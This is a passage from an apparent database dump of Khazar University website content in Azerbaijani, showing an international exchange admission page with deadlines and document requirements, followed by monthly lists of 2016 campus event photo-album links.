href=\"http://www.khazar.org/files/letters/KUISP_Application_Form_2018_2019.docx\"></a></p><p><br></p><p><strong>Qəbul cədvəli, seçim prosesi və müraciət tarixi</strong></p><p>Son müraciət tarixi&nbsp;<strong>17:00 (5:00 PM) (Bakı vaxtı ilə), Bazar, 15 Aprel, 2018-ci&nbsp;ildir.</strong></p><p>Xəzər Universitetində seçim prosesi üç (3) mərhələdən: ərizələrə ilkin baxış, onların nəzərdən keçirilməsi və yarı finalçıların müsahibəsindən ibarətdir.</p><p><br></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"\" background:white;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"294\" style=\"width:220.25pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Tarix</strong><strong></strong></p>\r\n  </td>\r\n  <td width=\"282\" style=\"width:211.5pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Fəaliyyət</strong><strong>&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"294\" style=\"width:220.25pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Dekabr, 2017</p>\r\n  </td>\r\n  <td width=\"282\" style=\"width:211.5pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Qəbul açılır</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"294\" style=\"width:220.25pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">17:00 (5:00 PM)\r\n  (Bakı vaxtı ilə), Bazar,&nbsp;15 Aprel, 2018-ci&nbsp;il</p>\r\n  </td>\r\n  <td width=\"282\" style=\"width:211.5pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Qəbul üçün son\r\n  tarix</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"294\" style=\"width:220.25pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Aprel – May, 2018</p>\r\n  </td>\r\n  <td width=\"282\" style=\"width:211.5pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Seçim prosesi</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"294\" style=\"width:220.25pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">İyunun ortası, 2018</p>\r\n  </td>\r\n  <td width=\"282\" style=\"width:211.5pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Nəticələr haqqında bildiriş</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"294\" style=\"width:220.25pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">İyul –   Avqust, 2018</p>\r\n  </td>\r\n  <td width=\"282\" style=\"width:211.5pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Vizaya müraciət / Tələbə vizalarının əldə olunması</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"294\" style=\"width:220.25pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">10 Sentyabr, 2018</p>\r\n  </td>\r\n  <td width=\"282\" style=\"width:211.5pt;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Tələbələrin ölkəyə\r\n  daxil olması üçün son gün</p>\r\n  </td>\r\n </tr>\r\n</tbody></table> <p><br></p><p><strong>Ərizənizi təqdim edin</strong></p><p>Ərizələr digər tələb olunan sənədlərlə birlikdə birbaşa Beynəlxalq Əlaqələr Ofisinə təqdim olunur və elektron şəkildə&nbsp;<a href=\"mailto:international@khazar.org\" target=\"_blank\" tabindex=\"-1\" disabled=\"disabled\"><strong>international@khazar.org</strong></a>&nbsp;ünvanına və ya poçt vasitəsilə göndərilə bilər. Ərizə formasını təqdim etməmişdən əvvəl seçdiyiniz təhsil səviyyəsi üzrə tələblər siyahısını nəzərdən keçirin.Tamamlanmamış və gecikən ərizələr nəzərə alınmayacaq.</p><p><br></p><p><strong>VACİB MƏLUMAT:&nbsp;</strong>Başqa dildə olan bütün sənədlər rəsmi tərcümə xidməti və ya universitetiniz tərəfindən ingilis dilinə tərcümə olunmalıdır.<strong></strong></p><p><strong>Qəbul tələbləri</strong></p><p><strong>Bakalavr Qəbul Tələbləri</strong></p><ul><li><strong><a href=\"http://www.khazar.org/files/letters/Bachelor_Application_for_Admission%202018.docx\">Bakalavr Ərizə Forması</a>&nbsp;</strong>(yükləmək üçün klik edin)</li><li>Orta məktəb şəhadətnaməsi</li><li>Qiymət cədvəli</li><li>Niyyət məktubu</li><li>Tərcüməyi hal (CV)</li><li>Tibbi arayış</li><li>Beynəlxalq pasportun surəti</li></ul><p>Əlavə:</p><ul><li>İngilis dili sertifikatı (TOEFL/IELTS sertifikatları etibarlılığını itirdiyi halda, qəbul olunmayacaq)</li><li>Dərsdənkənar &nbsp;məşğuliyyətləri göstərən sertifikatlar</li></ul><p><strong>Magistratura Qəbul Tələbləri</strong></p><ul><li><strong><a href=\"http://www.khazar.org/files/letters/Master_Application_for_Admission%202018.docx\">Magistratura Ərizə Forması</a>&nbsp;</strong>(yükləmək üçün klik edin)</li><li>Bakalavr Diplomu</li><li>Qiymət cədvəli</li><li>Niyyət məktubu</li><li>Tərcümeyi hal (CV)</li><li>Tibbi arayış</li><li>Beynəlxalq pasportun surəti</li><li>Iki tövsiyyə məktubu</li></ul><p>Əlavə:</p><ul><li>İngilis dili sertifikatı (TOEFL/IELTS sertifikatları etibarlılığını itirdiyi halda, qəbul olunmayacaq)</li></ul><p><strong>Doktorantura Qəbul Tələbləri</strong></p><ul><li><strong><a href=\"http://www.khazar.org/files/letters/PhD_Application_for_Admission%202018.docx\">Doktorantura Ərizə Forması</a>&nbsp;</strong>(yükləmək üçün klik edin)</li><li>Magistr Diplomu</li><li>Qiymət cədvəli</li><li>Aparmaq istədiyiniz tədqiqat haqqında qısa məlumat</li><li>Nəşr olunmuş məqalələrin siyahısı</li><li>Iki tövsiyyə məktubu</li><li>Beynəlxalq pasportun surəti</li><li>Tibbi arayış</li><li>Tərcümeyi hal (CV)</li><li>İngilis dilində yaxşı oxumaq və yazmaq bacarıqları. Standartlaşdırılmış ingilis dili sertifikatları məcburi deyil. Buna baxmayaraq, etibarlılıq müddəti keçməyən bu sertifikatların (TOEFL/IELTS) olması üstünlükdür.&nbsp;</li></ul>'),(2965,1758,'az','Oktyabr','Oktyabr','<a href=\"https://www.facebook.com/799143400096067/photos/?tab=album&amp;album_id=1357312087612526\"></a><p>31.10.2016 Uğurlu karyera qurmağın yolları&nbsp; (<a href=\"https://www.facebook.com/799143400096067/photos/?tab=album&amp;album_id=1358077074202694\" target=\"_blank\">FOTO</a>)<br></p><p>31.10.2016 potensial direktorlar (5)&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1357312087612526\" target=\"_blank\">FOTO</a>)</p><p>27.10.2016 Business Meeting with Leveland Karyera mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1353546581322410\" target=\"_blank\">FOTO</a>)  <br></p><p>26.10.2016 Potensial direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1352614731415595\" target=\"_blank\">FOTO</a>)<br></p><p>24.10.2016 Potensial Direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1351499231527145\" target=\"_blank\">FOTO</a>)<br></p><p>22.10.2016 Tələbə Məclisi Bilik yarışı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1350722184938183\" target=\"_blank\">FOTO</a>)<br></p><p>21.10.2016 ESFIDIP&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1347639088579826\" target=\"_blank\">FOTO</a>)<br></p><p>20.10.2016 Müstəqillik günü ilə bağlı prezentasiya&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1346837598659975\" target=\"_blank\">FOTO</a>)<br></p><p>20.10.2016&nbsp;İsmət və Rüfət ad günü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1346781538665581\" target=\"_blank\">FOTO</a>)<br></p><p>20.10.2016 CEFAM&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1346681798675555\" target=\"_blank\">FOTO</a>)<br></p><p>15.10.2016&nbsp;40 - 41-ci Buraxılış gecəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1344708932206175\" target=\"_blank\">FOTO</a>)<br></p><p>17.10.2016 Ceffri Verbok solo konserti&nbsp;(<a href=\"http://www.khazar.org/mfe/FOTO\" target=\"_blank\">FOTO</a>)<br></p><p>13.10.2016 Tempus ESFIDIP layihəsi &nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1339522216058180\" target=\"_blank\">FOTO</a>)<br></p><p>11.10.2016 ESFIDIP layihəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1337494686260933\" target=\"_blank\">FOTO</a>)<br></p><p>10.10.2016 İndoneziyanın səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1336621126348289\" target=\"_blank\">FOTO</a>)<br></p><p>07.10.2016 kariyera merkezi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1333995913277477\" target=\"_blank\">FOTO</a>)<br></p><p>07.10.2016 Fərqli Dünyalar\' sərgisi&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1333994433277625\" target=\"_blank\">FOTO</a>)<br></p><p>03.10.2016 Meeting with Euro-Atlantic Center&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1331266520217083\" target=\"_blank\">FOTO</a>)<br></p><p>04.10.2016 DAAD Baku (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1331242646886137\" target=\"_blank\">FOTO</a>)</p>'),(2966,1758,'en','October','October','<p>31.10.2016 Uğurlu karyera qurmağın yolları&nbsp; (<a href=\"https://www.facebook.com/799143400096067/photos/?tab=album&amp;album_id=1358077074202694\" target=\"_blank\">FOTO</a>)  <br></p><p>31.10.2016 potensial direktorlar (5)&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1357312087612526\" target=\"_blank\">FOTO</a>)  <br></p><p>27.10.2016 Business Meeting with Leveland Karyera mərkəzi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1353546581322410\" target=\"_blank\">FOTO</a>)</p><p>26.10.2016 Potensial direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1352614731415595\" target=\"_blank\">FOTO</a>)<br></p><p>24.10.2016 Potensial Direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1351499231527145\" target=\"_blank\">FOTO</a>)<br></p><p>22.10.2016 Tələbə Məclisi Bilik yarışı&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1350722184938183\" target=\"_blank\">FOTO</a>)<br></p><p>21.10.2016 ESFIDIP&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1347639088579826\" target=\"_blank\">FOTO</a>)<br></p><p>20.10.2016 Müstəqillik günü ilə bağlı prezentasiya&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1346837598659975\" target=\"_blank\">FOTO</a>)<br></p><p>20.10.2016&nbsp;İsmət və Rüfət ad günü&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1346781538665581\" target=\"_blank\">FOTO</a>)<br></p><p>20.10.2016 CEFAM&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1346681798675555\" target=\"_blank\">FOTO</a>)<br></p><p>15.10.2016&nbsp;40 - 41-ci Buraxılış gecəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1344708932206175\" target=\"_blank\">FOTO</a>)<br></p><p>17.10.2016 Ceffri Verbok solo konserti&nbsp;(<a href=\"http://www.khazar.org/mfe/FOTO\" target=\"_blank\">FOTO</a>)<br></p><p>13.10.2016 Tempus ESFIDIP layihəsi &nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1339522216058180\" target=\"_blank\">FOTO</a>)<br></p><p>11.10.2016 ESFIDIP layihəsi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1337494686260933\" target=\"_blank\">FOTO</a>)<br></p><p>10.10.2016 İndoneziyanın səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1336621126348289\" target=\"_blank\">FOTO</a>)<br></p><p>07.10.2016 kariyera merkezi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1333995913277477\" target=\"_blank\">FOTO</a>)<br></p><p>07.10.2016 Fərqli Dünyalar\' sərgisi&nbsp; (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1333994433277625\" target=\"_blank\">FOTO</a>)<br></p><p>03.10.2016 Meeting with Euro-Atlantic Center&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1331266520217083\" target=\"_blank\">FOTO</a>)<br></p><p>04.10.2016 DAAD Baku (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1331242646886137\" target=\"_blank\">FOTO</a>)</p>'),(2967,1759,'az','Noyabr','Noyabr','<p>30.11.2016 Taba Tabanın Neft mühəndisliyində seminarı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1390672780943123\" target=\"_blank\">FOTO</a>)</p><p>30.11.2016 Potensial direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1390672244276510\" target=\"_blank\">FOTO</a>)<br></p><p>30.11.2016 Elm şənliyi sərgisinə hazırlıq&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1390671560943245\" target=\"_blank\">FOTO</a>)<br></p><p>02.12.2016 Əlçatan təhsil-Əlçatan gələcək&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1390665027610565\" target=\"_blank\">FOTO</a>)<br></p><p>26.11.2016 Inşaat mühəndisləri \"As inşaat\" beton zavodunda&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1386781414665593\" target=\"_blank\">FOTO</a>)<br></p><p>28.11.2016 Elm şənliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1386698141340587\" target=\"_blank\">FOTO</a>)<br></p><p>25.11.2016 Michael Yarvis Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1383766238300444\" target=\"_blank\">FOTO</a>)<br></p><p>25.11.2016 Şeir gecəsi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1382802968396771\" target=\"_blank\">FOTO</a>)<br></p><p>25.11.2016 Erasmus+ II hissə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1382710331739368\" target=\"_blank\">FOTO</a>)<br></p><p>24.11.2016 Arxeologiya dərsi – Azad Zeynalovla görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1381694041840997\" target=\"_blank\">FOTO</a>)<br></p><p>23.11.2016 Business Meeting with BP&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1381517275192007\" target=\"_blank\">FOTO</a>)<br></p><p>22.11.2016 Türkiyə millət vəkilləri ile görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1379687085375026\" target=\"_blank\">FOTO</a>)<br></p><p>21.11.2016 Yubileylər&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1378798408797227\" target=\"_blank\">FOTO</a>)<br></p><p>20.11.2016 Əsa teatrı Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1378594198817648\" target=\"_blank\">FOTO</a>)<br></p><p>18.11.2016 Robert Hossein və Türkan Şorayla görüş&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1375611409115927\" target=\"_blank\">FOTO</a>)<br></p><p>17.11.2016 Avrasiya Akademiyasi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1374597222550679\" target=\"_blank\">FOTO</a>)<br></p><p>17.11.2016 Avrasiya Akademiyasi II yigincaq&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1374495045894230\" target=\"_blank\">FOTO</a>)<br></p><p>15.11.2016-Novia University of Applied Sciences in Khazar University (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1372508199426248\" target=\"_blank\">FOTO</a>)<br></p><p>15.11.2016 Imtahanlar&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1372426472767754\" target=\"_blank\">FOTO</a>)<br></p><p>14.11.2016 imtahanlar&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1372425879434480\" target=\"_blank\">FOTO</a>)<br></p><p>11.11.2016 Imtahanlar&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1372425446101190\" target=\"_blank\">FOTO</a>)<br></p><p>08.11.2016 imtahanlar&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1372424829434585\" target=\"_blank\">FOTO</a>)<br></p><p>09.11.2016 Qafqazda görüşlər və müzakirələr&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1366841379992930\" target=\"_blank\">FOTO</a>)<br></p><p>08.11.2016 Qafqazda görüşlər və müzakirələr&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1365198460157222\" target=\"_blank\">FOTO</a>)<br></p><p>08.11.2016 Qafqazda görüşlər və müzakirələr&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1364962406847494\" target=\"_blank\">FOTO</a>)<br></p><p>07.11.2016 Beynalxalq konferans-Qafqazda görüşlər və müzakirələr&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1364251843585217\" target=\"_blank\">FOTO</a>)<br></p><p>07.11.2016 Xəzərdə imatahan&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1364093650267703\" target=\"_blank\">FOTO</a>)<br></p><p>05.11.2016 TM- know your rights, now! seminarı&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1362293337114401\" target=\"_blank\">FOTO</a>)<br></p><p>05.11.2016 TM-imtahanlara psixoloji hazırlıq seminarı&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1362292307114504\" target=\"_blank\">FOTO</a>)<br></p><p>04.11.2016 Sərdar Fərəcovla üz-üzə görüş&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1362270990449969\" target=\"_blank\">FOTO</a>)<br></p><p>04.11.2016 Kitab Yarmarkası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1361312883879113\" target=\"_blank\">FOTO</a>)<br></p><p>04.11.2016 Əcnəbi bakalavr tələbələri üçün təlim&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1361218917221843\" target=\"_blank\">FOTO</a>)<br></p><p>03.11.2016 kitab yarmarkası&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1360284720648596\" target=\"_blank\">FOTO</a>)<br></p><p>02.11.2016 İsveçrənin CEO təşkilatıyla görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1359240804086321\" target=\"_blank\">FOTO</a>)<br></p><p>01.11.2016 Qala kəndinə səyahət&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1359024537441281\" target=\"_blank\">FOTO</a>)<br></p><p>01.11.2016 İctimai xadim Rəyis Rəsulzadənin yubileyi&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1358212664189135\" target=\"_blank\">FOTO</a>)<br></p><p>01.11.2016 Mr.&nbsp;Tal Catran ile&nbsp;görüş (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1358006377543097\" target=\"_blank\">FOTO</a>)</p>'),(2968,1759,'en','November','November','<p>30.11.2016 Taba Tabanın Neft mühəndisliyində seminarı&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1390672780943123\" target=\"_blank\">FOTO</a>)<br></p><p>30.11.2016 Potensial direktorlar 5&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1390672244276510\" target=\"_blank\">FOTO</a>)<br></p><p>30.11.2016 Elm şənliyi sərgisinə hazırlıq&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1390671560943245\" target=\"_blank\">FOTO</a>)<br></p><p>02.12.2016 Əlçatan təhsil-Əlçatan gələcək&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1390665027610565\" target=\"_blank\">FOTO</a>)<br></p><p>26.11.2016 Inşaat mühəndisləri \"As inşaat\" beton zavodunda&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1386781414665593\" target=\"_blank\">FOTO</a>)<br></p><p>28.11.2016 Elm şənliyi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1386698141340587\" target=\"_blank\">FOTO</a>)<br></p><p>25.11.2016 Michael Yarvis Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1383766238300444\" target=\"_blank\">FOTO</a>)<br></p><p>25.11.2016 Şeir gecəsi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1382802968396771\" target=\"_blank\">FOTO</a>)<br></p><p>25.11.2016 Erasmus+ II hissə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1382710331739368\" target=\"_blank\">FOTO</a>)<br></p><p>24.11.2016 Arxeologiya dərsi – Azad Zeynalovla görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1381694041840997\" target=\"_blank\">FOTO</a>)<br></p><p>23.11.2016 Business Meeting with BP&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1381517275192007\" target=\"_blank\">FOTO</a>)<br></p><p>22.11.2016 Türkiyə millət vəkilləri ile görüş&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1379687085375026\" target=\"_blank\">FOTO</a>)<br></p><p>21.11.2016 Yubileylər&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1378798408797227\" target=\"_blank\">FOTO</a>)<br></p><p>20.11.2016 Əsa teatrı Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1378594198817648\" target=\"_blank\">FOTO</a>)<br></p><p>18.11.2016 Robert Hossein və Türkan Şorayla görüş&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1375611409115927\" target=\"_blank\">FOTO</a>)<br></p><p>17.11.2016 Avrasiya Akademiyasi&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1374597222550679\" target=\"_blank\">FOTO</a>)<br></p><p>17.11.2016 Avrasiya Akademiyasi II yigincaq&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1374495045894230\" target=\"_blank\">FOTO</a>)<br></p><p>15.11.2016-Novia University of Applied Sciences in Khazar University (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1372508199426248\" target=\"_blank\">FOTO</a>)<br></p><p>15.11.2016 Imtahanlar&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1372426472767754\" target=\"_blank\">FOTO</a>)<br></p><p>14.11.2016 imtahanlar&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1372425879434480\" target=\"_blank\">FOTO</a>)<br></p><p>11.11.2016 Imtahanlar&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1372425446101190\" target=\"_blank\">FOTO</a>)<br></p><p>08.11.2016 imtahanlar&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1372424829434585\" target=\"_blank\">FOTO</a>)<br></p><p>09.11.2016 Qafqazda görüşlər və müzakirələr&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1366841379992930\" target=\"_blank\">FOTO</a>)<br></p><p>08.11.2016 Qafqazda görüşlər və müzakirələr&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1365198460157222\" target=\"_blank\">FOTO</a>)<br></p><p>08.11.2016 Qafqazda görüşlər və müzakirələr&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1364962406847494\" target=\"_blank\">FOTO</a>)<br></p><p>07.11.2016 Beynalxalq konferans-Qafqazda görüşlər və müzakirələr&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1364251843585217\" target=\"_blank\">FOTO</a>)<br></p><p>07.11.2016 Xəzərdə imatahan&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1364093650267703\" target=\"_blank\">FOTO</a>)<br></p><p>05.11.2016 TM- know your rights, now! seminarı&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1362293337114401\" target=\"_blank\">FOTO</a>)<br></p><p>05.11.2016 TM-imtahanlara psixoloji hazırlıq seminarı&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1362292307114504\" target=\"_blank\">FOTO</a>)<br></p><p>04.11.2016 Sərdar Fərəcovla üz-üzə görüş&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1362270990449969\" target=\"_blank\">FOTO</a>)<br></p><p>04.11.2016 Kitab Yarmarkası (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1361312883879113\" target=\"_blank\">FOTO</a>)<br></p><p>04.11.2016 Əcnəbi bakalavr tələbələri üçün təlim&nbsp;(<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1361218917221843\" target=\"_blank\">FOTO</a>)<br></p><p>03.11.2016 kitab yarmarkası&nbsp; (<a href=\"https://www.facebook.com/pg/kumultimediacenter/photos/?tab=album&amp;album_id=1360284720648596\" target=\"_blank\">FOTO</a>)<br></p><p>02.11.2016 İsveçrənin CEO təşkilatıyla 